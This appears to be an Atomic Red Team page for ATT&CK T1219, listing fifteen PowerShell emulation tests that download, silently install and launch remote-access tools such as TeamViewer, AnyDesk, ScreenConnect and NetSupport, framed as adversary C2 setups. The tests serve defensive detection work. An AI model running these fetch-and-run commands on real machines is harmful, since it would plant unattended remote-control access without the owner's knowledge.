# T1219 - Remote Access Software

## Description from ATT&CK

> An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.
> 
> Remote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.
> 
> Installation of many remote access tools may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)

[Source](https://attack.mitre.org/techniques/T1219)

## Atomic Tests

- [Atomic Test #1: TeamViewer Files Detected Test on Windows](#atomic-test-1-teamviewer-files-detected-test-on-windows)
- [Atomic Test #2: AnyDesk Files Detected Test on Windows](#atomic-test-2-anydesk-files-detected-test-on-windows)
- [Atomic Test #3: LogMeIn Files Detected Test on Windows](#atomic-test-3-logmein-files-detected-test-on-windows)
- [Atomic Test #4: GoToAssist Files Detected Test on Windows](#atomic-test-4-gotoassist-files-detected-test-on-windows)
- [Atomic Test #5: ScreenConnect Application Download and Install on Windows](#atomic-test-5-screenconnect-application-download-and-install-on-windows)
- [Atomic Test #6: Ammyy Admin Software Execution](#atomic-test-6-ammyy-admin-software-execution)
- [Atomic Test #7: RemotePC Software Execution](#atomic-test-7-remotepc-software-execution)
- [Atomic Test #8: NetSupport - RAT Execution](#atomic-test-8-netsupport---rat-execution)
- [Atomic Test #9: UltraViewer - RAT Execution](#atomic-test-9-ultraviewer---rat-execution)
- [Atomic Test #10: UltraVNC Execution](#atomic-test-10-ultravnc-execution)
- [Atomic Test #11: MSP360 Connect Execution](#atomic-test-11-msp360-connect-execution)
- [Atomic Test #12: RustDesk Files Detected Test on Windows](#atomic-test-12-rustdesk-files-detected-test-on-windows)
- [Atomic Test #13: Splashtop Execution](#atomic-test-13-splashtop-execution)
- [Atomic Test #14: Splashtop Streamer Execution](#atomic-test-14-splashtop-streamer-execution)
- [Atomic Test #15: Microsoft App Quick Assist Execution](#atomic-test-15-microsoft-app-quick-assist-execution)

### Atomic Test #1: TeamViewer Files Detected Test on Windows

An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S; 
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'
```

#### Cleanup Commands

```powershell
$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Remove-Item $file1 -ErrorAction Ignore | Out-Null
```
### Atomic Test #2: AnyDesk Files Detected Test on Windows

An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `6b8b7391-5c0a-4f8c-baee-78d8ce0ce330`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;
```

#### Cleanup Commands

```powershell
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Remove-Item $file1 -ErrorAction Ignore
```
### Atomic Test #3: LogMeIn Files Detected Test on Windows

An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `d03683ec-aae0-42f9-9b4c-534780e0f8e1`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
```

#### Cleanup Commands

```powershell
get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package 
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Remove-Item $file1 -ErrorAction Ignore
```
### Atomic Test #4: GoToAssist Files Detected Test on Windows

An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `1b72b3bd-72f8-4b63-a30b-84e91b9c3578`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
Start-Process $file1 /S;
```

#### Cleanup Commands

```powershell
try{"$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1"} catch{}
```
### Atomic Test #5: ScreenConnect Application Download and Install on Windows

An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.
Msiexec will be used to quietly insall ScreenConnect.

**Supported Platforms:** Windows

**auto_generated_guid:** `4a18cc4e-416f-4966-9a9d-75731c4684c0`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi"
msiexec /i $installer /qn
```

#### Cleanup Commands

```powershell
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
msiexec /x $installer /qn
```
### Atomic Test #6: Ammyy Admin Software Execution

An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. 
Upon successful execution, Ammyy Admin will be executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `0ae9e327-3251-465a-a53b-485d4e3f58fa`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| Ammyy_Admin_Path | Path of Ammyy Admin executable | path | PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Start-Process "#{Ammyy_Admin_Path}"
```

#### Cleanup Commands

```powershell
Stop-Process -Name "Ammyy" -force -erroraction silentlycontinue
```

#### Dependencies: Run with `powershell`!

##### Description: Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})

###### Check Prereq Commands

```powershell
if (Test-Path "#{Ammyy_Admin_Path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://web.archive.org/web/20140625232737/http://www.ammyy.com/AA_v3.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe" -UseBasicParsing
```

### Atomic Test #7: RemotePC Software Execution

An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. 
Upon successful execution, RemotePC will be executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `fbff3f1f-b0bf-448e-840f-7e1687affdce`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| RemotePC_Path | Path of RemotePC executable | path | PathToAtomicsFolder\..\ExternalPayloads\RemotePC.exe|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Start-Process "#{RemotePC_Path}"
```

#### Cleanup Commands

```powershell
Unregister-ScheduledTask -TaskName "RemotePC" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "RPCServiceHealthCheck" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "ServiceMonitor" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "StartRPCService" -Confirm:$False -ErrorAction SilentlyContinue      
Stop-Process -Name "RemotePCPerformance" -force -erroraction silentlycontinue
Stop-Process -Name "RPCPerformanceService" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCUIU" -force -erroraction silentlycontinue
Stop-Process -Name "RPCDownloader" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCService" -force -erroraction silentlycontinue
Stop-Process -Name "RPCService" -force -erroraction silentlycontinue
```

#### Dependencies: Run with `powershell`!

##### Description: RemotePC must exist on disk at the specified location (#{RemotePC_Path})

###### Check Prereq Commands

```powershell
if (Test-Path "#{RemotePC_Path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://static.remotepc.com/downloads/rpc/140422/RemotePC.exe" -OutFile "#{RemotePC_Path}" -UseBasicParsing
```

### Atomic Test #8: NetSupport - RAT Execution

A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services.

**Supported Platforms:** Windows

**auto_generated_guid:** `ecca999b-e0c8-40e8-8416-ad320b146a75`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| NetSupport_Path | Path to the NetSupport executable. | path | PathToAtomicsFolder\..\ExternalPayloads\T1219_NetSupport.exe|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Start-Process "#{NetSupport_Path}" -ArgumentList "/S /v/qn"
```

#### Cleanup Commands

```powershell
Stop-Process -Name "client32" -force -erroraction silentlycontinue
```

#### Dependencies: Run with `powershell`!

##### Description: NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})

###### Check Prereq Commands

```powershell
if (Test-Path "#{NetSupport_Path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
(New-Object Net.WebClient).DownloadFile("https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe","#{NetSupport_Path}")
```

### Atomic Test #9: UltraViewer - RAT Execution

A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services.

**Supported Platforms:** Windows

**auto_generated_guid:** `19acf63b-55c4-4b6a-8552-00a8865105c8`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| UltraViewer_Path | Path to the UltraViewer executable. | path | PathToAtomicsFolder\..\ExternalPayloads\T1219_UltraViewer.exe|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Start-Process -Wait -FilePath "#{UltraViewer_Path}" -Argument "/silent" -PassThru
Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'
```

#### Cleanup Commands

```powershell
Stop-Process -Name "UltraViewer_Desktop" -Force -ErrorAction SilentlyContinue
```

#### Dependencies: Run with `powershell`!

##### Description: Ultraviewer installer must be downloaded and exist on the disk at the specified location. (#{UltraViewer_Path})

###### Check Prereq Commands

```powershell
if (Test-Path "#{UltraViewer_Path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
(New-Object Net.WebClient).DownloadFile("https://www.ultraviewer.net/en/UltraViewer_setup_6.5_en.exe","#{UltraViewer_Path}")
```

### Atomic Test #10: UltraVNC Execution

An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel.
Upon successful execution, UltraVNC will be executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `42e51815-a6cc-4c75-b970-3f0ff54b610e`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| UltraVNC_Viewer_Path | Path of UltraVNC Viewer executable | path | $env:ProgramFiles\'uvnc bvba\UltraVnc\vncviewer.exe'|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Start-Process #{UltraVNC_Viewer_Path}
```

#### Cleanup Commands

```powershell
Stop-Process -Name "vncviewer" -force -erroraction silentlycontinue
```

#### Dependencies: Run with `powershell`!

##### Description: UltraVNC must exist at (#{UltraVNC_Viewer_Path})

###### Check Prereq Commands

```powershell
if (Test-Path #{UltraVNC_Viewer_Path}) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://www.uvnc.eu/download/1381/UltraVNC_1_3_81_X64_Setup.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe"
start-process "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe" /silent
```

### Atomic Test #11: MSP360 Connect Execution

An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel.
Upon successful execution, MSP360 Connect will be executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `b1b8128b-c5d4-4de9-bf70-e60419274562`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| MSP360_Connect_Path | Path of MSP360 executable | path | $env:ProgramFiles\Connect\Connect.exe|
| MSP360_Download_Url | URL to download MSP360 Connect from | url | |

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Start-Process #{MSP360_Connect_Path}
```

#### Cleanup Commands

```powershell
Stop-Process -Name "Connect" -force -erroraction silentlycontinue
```

#### Dependencies: Run with `powershell`!

##### Description: MSP360 must exist at (#{MSP360_Connect_Path})

###### Check Prereq Commands

```powershell
if (Test-Path #{MSP360_Connect_Path}) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\msp360connect.exe" "#{MSP360_Download_Url}"
start-process "PathToAtomicsFolder\..\ExternalPayloads\msp360connect.exe" /S
```

### Atomic Test #12: RustDesk Files Detected Test on Windows

An adversary may attempt to trick the user into downloading RustDesk and use this to maintain access to the machine. 
Download of RustDesk installer will be at the destination location when successfully executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `f1641ba9-919a-4323-b74f-33372333bf0e`

#### Attack Commands: Run with `powershell`!

```powershell
$file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
Invoke-WebRequest  -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe
Start-Process -FilePath $file "/S"
```

#### Cleanup Commands

```powershell
$file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
Remove-Item $file1 -ErrorAction Ignore
```
### Atomic Test #13: Splashtop Execution

An adversary may attempt to trick the user into downloading Splashtop for use as a C2 channel.
Upon successful execution, Splashtop will be executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `b025c580-029e-4023-888d-a42710d76934`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| Splashtop_Path | Path of Splashtop executable | path | ${env:programfiles(x86)}\Splashtop\Splashtop Remote\Client for STP\strwinclt.exe|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Start-Process "#{Splashtop_Path}"
```

#### Cleanup Commands

```powershell
Stop-Process -Name "strwinclt" -force -erroraction silentlycontinue
```

#### Dependencies: Run with `powershell`!

##### Description: Splashtop must exist at "#{Splashtop_Path}"

###### Check Prereq Commands

```powershell
if (Test-Path "#{Splashtop_Path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\splashtop_install.exe" "https://download.splashtop.com/winclient/STP/Splashtop_Personal_Win_v3.6.6.0.exe"
start-sleep 30
start-process "PathToAtomicsFolder\..\ExternalPayloads\splashtop_install.exe" /S  
start-sleep 30
```

### Atomic Test #14: Splashtop Streamer Execution

An adversary may attempt to use Splashtop Streamer to gain unattended remote interactive access. Upon successful execution, Splashtop streamer will be executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `3e1858ee-3550-401c-86ec-5e70ed79295b`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| srserver_exe | Splashtop streamer installation executables | string | SRServer.exe|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Start-Process -FilePath "C:Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}"
```


#### Dependencies: Run with `powershell`!

##### Description: Splashtop Streamer must be installed in the location

###### Check Prereq Commands

```powershell
if (Test-Path "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
Write-Host Downloading Splashtop Streamer
New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.splashtop.com/win/Splashtop_Streamer_Win_INSTALLER_v3.6.4.1.exe" -OutFile  "C:\Temp\ExternalPayloads\Splashtop.exe"
Write-Host Installing Splashtop Streamer
Start-Process "c:\Temp\ExternalPayloads\Splashtop.exe" -Wait -ArgumentList "/s"
```

### Atomic Test #15: Microsoft App Quick Assist Execution

An adversary may attempt to trick a user into executing Microsoft Quick Assist Microsoft Store app and connect to the user's machine.

**Supported Platforms:** Windows

**auto_generated_guid:** `1aea6d15-70f1-4b4e-8b02-397b5d5ffe75`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Start-Process "shell:AppsFolder\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App"
```

#### Cleanup Commands

```powershell
Stop-Process -Name quickassist
```